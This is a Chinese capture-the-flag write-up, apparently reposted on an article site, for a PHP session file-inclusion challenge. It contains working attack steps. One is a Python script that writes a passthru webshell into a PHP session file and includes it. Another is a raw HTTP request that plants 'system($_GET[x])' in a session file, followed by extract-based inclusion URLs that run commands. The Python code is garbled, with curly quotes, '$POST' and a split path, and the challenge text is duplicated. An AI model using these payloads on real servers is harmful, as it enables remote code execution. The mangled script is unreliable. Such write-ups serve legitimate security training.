文件包含-session2

news/2025/2/25 13:48:48

[题目信息]:

题目名称题目难度
文件包含-session22

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2098

[题目writeup]:

1、实验主页

2、题解分析

#!/usr/bin/env python
# coding: utf-8

from time import sleep
import requests

url = ‘url’

s = requests.session()

def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess
’ + r.cookies[‘PHPSESSID’]

r = s.post(url, params=params, data={'cmd': cmd})
return r.text

print execute(‘cat /flag’)








[题目信息]:

题目名称题目难度
文件包含-session2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2090

[题目writeup]:

1、实验主页

2、题解分析

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含

?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。

从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数,修改session的位置

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

然后进行包含session

/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php


http://www.niftyadmin.cn/n/5865572.html

相关文章

调查报告:DLL项目运行时库设置与依赖兼容性分析

文章目录 引言背景与问题描述理论基础问题分析1. DLL项目为何必须使用 /MD2. 静态库项目为何不适合使用 /MD3. 尝试在DLL项目中链接 /MT 依赖的潜在问题4. 可行性分析 解决方案与建议1. 最佳实践2. 配置示例3. 测试与验证 运行时库设置对比表结论 引言 在C项目开发中&#xff…

【NLP 26、实践 ⑥ 引入bert,判断文本中是否有特定字符出现】

目录 引入bert&#xff0c;判断文本中特定字符出现 1.设计模型 2.前馈运算 3.建立词表 4.生成样本 5.建立数据集 6.建立模型 7.测试模型结果 8.模型训练 9.用训练好的模型预测 10.完整代码 我欲挑灯见你&#xff0c;可是梦怕火 我泪眼婆娑&#xff0c;坐实你来过 —— 25.1.2…

【Deepseek高级使用教程】Deepseek-R1的5种高级进阶玩法,5分钟教会你Deepseek+行业的形式进行工作重构的保姆级教程

AI视频生成&#xff1a;小说文案智能分镜智能识别角色和场景批量Ai绘图自动配音添加音乐一键合成视频https://aitools.jurilu.com/ 最近&#xff0c;有各行各业的小伙伴问我&#xff0c;到底应该怎么将deepseek融入进他们自身的工作流呢&#xff1f;其实这个问题很简单。我就以…

Fetch API 与 XMLHttpRequest:深入剖析异步请求的利器

Hi&#xff0c;我是布兰妮甜 &#xff01;在现代 Web 开发中&#xff0c;异步通信是实现动态和交互式用户体验的基石。XMLHttpRequest (XHR) 作为老牌劲旅&#xff0c;曾一度统治着这一领域。然而&#xff0c;随着 Fetch API 的横空出世&#xff0c;开发者们迎来了一个更现代、…

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_preinit_modules 函数

ngx_preinit_modules 声明在 src\core\ngx_module.h ngx_int_t ngx_preinit_modules(void);实现在 src\core\ngx_module.c ngx_int_t ngx_preinit_modules(void) {ngx_uint_t i;for (i 0; ngx_modules[i]; i) {ngx_modules[i]->index i;ngx_modules[i]->name ngx_…

Memcached和redis对比了解

1.介绍 Memcached 是一个高性能、分布式的内存缓存系统&#xff0c;用于加速动态 Web 应用程序&#xff0c;减少数据库负载。它的核心功能是将数据存储在内存中&#xff0c;并通过基于键值对&#xff08;Key-Value&#xff09;的方式快速读取数据。 Redis 和 Memcached 选择建…

TiDB 为华安基金提供强大数据底座,加速数智化转型升级

近日,企业级分布式数据库 TiDB 成功应用于华安基金报表系统,为其业务提供了灵活、可靠、安全的数据底座。升级至 TiDB 后,报表系统性能大幅提升,业务处理 SQL 效率较原先提升了 10 倍以上。华安基金基于国产 HTAP 分布式数据库的成功应用,不仅为数字化转型注入了强劲动力,也为基…

IO/网络IO基础全览

目录 IO基础CPU与外设1. 程序控制IO&#xff08;轮询&#xff09;2. 中断中断相关知识中断分类中断处理过程中断隐指令 3. DMA&#xff08;Direct Memory Access&#xff09; 缓冲区用户空间和内核空间IO操作的拷贝概念传统IO操作的4次拷贝减少一个CPU拷贝的mmap内存映射文件(m…